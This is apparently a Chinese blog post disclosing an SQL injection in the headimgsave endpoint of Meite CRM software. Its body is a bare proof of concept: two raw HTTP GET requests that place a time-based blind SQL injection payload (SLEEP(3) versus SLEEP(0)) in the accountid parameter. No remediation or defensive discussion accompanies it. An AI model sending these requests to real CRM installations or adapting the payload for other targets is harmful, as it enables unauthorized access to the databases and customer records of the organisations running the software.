美特CRM headimgsave SQL注入

poc:

GET /headimgsave?accountid=1'+AND+(SELECT+5+FROM+(SELECT+SLEEP(3))qaz)--+ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.1188.94 Safari/537.36
Connection: close
GET /headimgsave?accountid=1'+AND+(SELECT+5+FROM+(SELECT+SLEEP(0))qaz)--+ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.1188.94 Safari/537.36
Connection: close

 

© 版权声明
THE END
喜欢就支持一下吧
点赞38赞赏 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容